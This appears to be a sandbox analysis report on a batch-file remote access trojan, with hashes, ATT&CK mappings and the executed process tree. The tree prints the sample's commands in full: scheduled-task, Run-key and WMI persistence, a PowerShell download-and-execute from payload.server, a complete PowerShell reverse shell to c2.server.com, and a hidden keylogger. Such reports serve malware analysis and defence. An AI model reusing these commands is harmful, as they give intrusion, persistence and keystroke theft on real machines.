ea2e91e81c4731dcca22a5e15b7f671c56b8071d8228626a6e56bc88a8011468

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:07

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General

Target
rat_build_49398_014213.bat
Size 4KB
Sample260529-11tpqagw2t
SHA256 ea2e91e81c4731dcca22a5e15b7f671c56b8071d8228626a6e56bc88a8011468
MD5 3167f4494e91daa02c47cc93d8cb582d
SHA1 653a8234ac4522d8e95774c7f04869966b9c8916
SHA512 bf46f93e910ee9d6f87c816cdc94d8f61e608fd2bd14b25fa26116455a776c54ff0f4f4f14f80bbba50055b6e4f99f7049ed9aabbe57ee878d2917aa3016214b
SSDEEP 96:4ZIJjWxqwM3r97QGnf2ExxAugXG75qVu4g9DBIyiFgZk8mvlo120:4ZFxqzb9MGBqug3u44ayiFgkHl70
TLSH
T1E4B1D827679A7060CAB42518DA333C54532CDDFB1314D58FBB88DEC45A4DB83E11AAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_49398.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1132	powershell.exe
3000	powershell.exe
3452	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_49398 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_49398.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4540	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3076	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3164	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2224	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
3000	powershell.exe
3000	powershell.exe
3000	powershell.exe
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4680	WMIC.exe
Token: SeSecurityPrivilege	4680	WMIC.exe
Token: SeTakeOwnershipPrivilege	4680	WMIC.exe
Token: SeLoadDriverPrivilege	4680	WMIC.exe
Token: SeSystemProfilePrivilege	4680	WMIC.exe
Token: SeSystemtimePrivilege	4680	WMIC.exe
Token: SeProfSingleProcessPrivilege	4680	WMIC.exe
Token: SeIncBasePriorityPrivilege	4680	WMIC.exe
Token: SeCreatePagefilePrivilege	4680	WMIC.exe
Token: SeBackupPrivilege	4680	WMIC.exe
Token: SeRestorePrivilege	4680	WMIC.exe
Token: SeShutdownPrivilege	4680	WMIC.exe
Token: SeDebugPrivilege	4680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4680	WMIC.exe
Token: SeRemoteShutdownPrivilege	4680	WMIC.exe
Token: SeUndockPrivilege	4680	WMIC.exe
Token: SeManageVolumePrivilege	4680	WMIC.exe
Token: 33	4680	WMIC.exe
Token: 34	4680	WMIC.exe
Token: 35	4680	WMIC.exe
Token: 36	4680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4680	WMIC.exe
Token: SeSecurityPrivilege	4680	WMIC.exe
Token: SeTakeOwnershipPrivilege	4680	WMIC.exe
Token: SeLoadDriverPrivilege	4680	WMIC.exe
Token: SeSystemProfilePrivilege	4680	WMIC.exe
Token: SeSystemtimePrivilege	4680	WMIC.exe
Token: SeProfSingleProcessPrivilege	4680	WMIC.exe
Token: SeIncBasePriorityPrivilege	4680	WMIC.exe
Token: SeCreatePagefilePrivilege	4680	WMIC.exe
Token: SeBackupPrivilege	4680	WMIC.exe
Token: SeRestorePrivilege	4680	WMIC.exe
Token: SeShutdownPrivilege	4680	WMIC.exe
Token: SeDebugPrivilege	4680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4680	WMIC.exe
Token: SeRemoteShutdownPrivilege	4680	WMIC.exe
Token: SeUndockPrivilege	4680	WMIC.exe
Token: SeManageVolumePrivilege	4680	WMIC.exe
Token: 33	4680	WMIC.exe
Token: 34	4680	WMIC.exe
Token: 35	4680	WMIC.exe
Token: 36	4680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3788	WMIC.exe
Token: SeSecurityPrivilege	3788	WMIC.exe
Token: SeTakeOwnershipPrivilege	3788	WMIC.exe
Token: SeLoadDriverPrivilege	3788	WMIC.exe
Token: SeSystemProfilePrivilege	3788	WMIC.exe
Token: SeSystemtimePrivilege	3788	WMIC.exe
Token: SeProfSingleProcessPrivilege	3788	WMIC.exe
Token: SeIncBasePriorityPrivilege	3788	WMIC.exe
Token: SeCreatePagefilePrivilege	3788	WMIC.exe
Token: SeBackupPrivilege	3788	WMIC.exe
Token: SeRestorePrivilege	3788	WMIC.exe
Token: SeShutdownPrivilege	3788	WMIC.exe
Token: SeDebugPrivilege	3788	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3788	WMIC.exe
Token: SeRemoteShutdownPrivilege	3788	WMIC.exe
Token: SeUndockPrivilege	3788	WMIC.exe
Token: SeManageVolumePrivilege	3788	WMIC.exe
Token: 33	3788	WMIC.exe
Token: 34	3788	WMIC.exe
Token: 35	3788	WMIC.exe
Token: 36	3788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3788	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 2224	3116	cmd.exe	88
PID 3116 wrote to memory of 3164	3116	cmd.exe	89
PID 3116 wrote to memory of 4680	3116	cmd.exe	90
PID 3116 wrote to memory of 3788	3116	cmd.exe	91
PID 3116 wrote to memory of 3848	3116	cmd.exe	92
PID 3116 wrote to memory of 3076	3116	cmd.exe	107
PID 3116 wrote to memory of 4540	3116	cmd.exe	110
PID 3116 wrote to memory of 1132	3116	cmd.exe	111
PID 3116 wrote to memory of 3000	3116	cmd.exe	112
PID 3116 wrote to memory of 3452	3116	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_49398_014213.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_49398" /tr "C:\Users\Admin\AppData\Local\Temp\_49398.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2224
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_49398" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_49398.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3164
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_49398", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4680
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_49398", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_49398.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3788
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_49398.txt
  2⤵
  PID:3848
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3076
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_49398.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41f9b188052ae9172518c3b7f0f728e5cfdcc7729f98b8e686228bc4ebdc34e1
MD5 a7e631ee479a8211f460740195bcdbec
SHA1 cd32b04bf72db3a93247b072af8f63e8e681d707
SHA512 1855799cd9088f3811f9ee4486a25e481bc5465767ccc3432954557c2e98d04aaa8b39184d5a127b4a627296b08494c7295a2c8a5474b4c92ca8154a2419fa26
TLSH
T1DF117627F39CC921CC96153A409DAC1172B683DB81AEDF9F6FC4D214A0BF984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qabidtlp.jtm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qabidtlp.jtm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1132-8-0x0000022CEFDC0000-0x0000022CEFDE2000-memory.dmp

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